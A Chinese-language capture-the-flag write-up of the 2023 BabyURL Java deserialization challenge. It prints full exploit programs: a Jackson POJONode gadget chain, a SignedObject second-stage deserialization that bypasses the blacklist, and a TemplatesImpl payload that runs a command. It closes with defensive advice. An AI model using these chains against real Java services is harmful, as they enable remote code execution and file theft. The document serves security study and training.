2023巅峰极客-BabyURL复现分析
字数 1248 2025-08-22 18:37:15
BabyURL 反序列化漏洞分析与利用
1. 漏洞背景
这是一个来自2023巅峰极客比赛的Java反序列化漏洞题目,涉及黑名单绕过和二次反序列化技术。题目主要考察了SignedObject和Jackson的利用方式。
2. 环境分析
2.1 项目结构
项目是一个基于Spring Boot的Web应用,主要包含以下关键文件:
YancaoCtfJavaApplication.java: Spring Boot启动类URLHelper.java: 自定义的反序列化类URLVisiter.java: URL访问器类IndexController.java: 控制器类MyObjectInputStream.java: 自定义ObjectInputStream实现
2.2 关键路由
/: 返回"Hello World"/hack: 接收Base64编码的payload并进行反序列化/file: 读取并返回/tmp/file文件内容
2.3 黑名单限制
MyObjectInputStream中设置了以下类的黑名单:
"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors",
"com.yancao.ctf.bean.URLVisiter",
"com.yancao.ctf.bean.URLHelper"
3. 漏洞点分析
3.1 URLHelper类
自定义的反序列化类,在反序列化时会调用URLVisiter的visitUrl方法,将访问内容写入/tmp/file。
3.2 URLVisiter限制
禁止以file开头,file://被禁用,但可以通过url:file://绕过。
3.3 反序列化入口
/hack路由接收Base64编码的payload,使用MyObjectInputStream进行反序列化。
4. 漏洞利用
4.1 非预期解:Jackson POJONode利用
利用链:
BadAttributeValueExpException#readObject -> BaseJsonNode.toString -> TemplatesImpl#getOutputProperties
关键步骤:
- 使用
POJONode包装恶意对象 - 通过
BadAttributeValueExpException触发反序列化 - 需要移除
BaseJsonNode的writeReplace方法
移除writeReplace方法代码:
try {
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod replace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(replace);
ClassLoader ClassLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(ClassLoader, null);
} catch (Exception e){}
4.2 预期解:SignedObject二次反序列化
利用链:
BadAttributeValueExpException#readObject -> POJONode.toString -> SignedObject#getObject -> 二次反序列化
完整EXP代码:
package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, NoSuchProviderException, InvalidKeyException, SignatureException, NoSuchFieldException, IllegalAccessException {
ClassPool pool = ClassPool.getDefault();
URLHelper urlHelper = new URLHelper("FILE:///F:\\flag.txt");
urlHelper.visiter = new URLVisiter();
try {
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) { }
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(val);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
baor.close();
}
}
4.3 拓展:TemplateImpl二次反序列化
当TemplateImpl被禁用时,可以通过SignedObject进行二次反序列化:
package com.yancao.ctf;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.net.URLEncoder;
import java.util.Base64;
public class TemplateSignedObject {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clz.setSuperclass(superClass);
CtConstructor cc = new CtConstructor(new CtClass[]{}, clz);
cc.setBody("Runtime.getRuntime().exec(\"calc\");");
clz.addConstructor(cc);
byte[][] bytes = new byte[][]{clz.toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
try {
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) { }
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(val, privateKey, signingEngine);
POJONode node1 = new POJONode(signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
Field valfield = val1.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val1, node1);
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(val1);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(baor.toByteArray()))));
baor.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
5. 防御建议
- 使用白名单机制替代黑名单
- 升级Jackson等依赖库到最新版本
- 避免直接反序列化不可信数据
- 使用安全的ObjectInputStream实现
- 对反序列化过程进行严格监控和日志记录
6. 总结
该漏洞利用的关键点在于:
- 通过
SignedObject进行二次反序列化绕过黑名单 - 利用
POJONode.toString()触发getObject方法 - 处理
BaseJsonNode的writeReplace方法问题 - 构造完整的利用链实现任意文件读取或命令执行
理解这些技术点对于防御Java反序列化漏洞具有重要意义。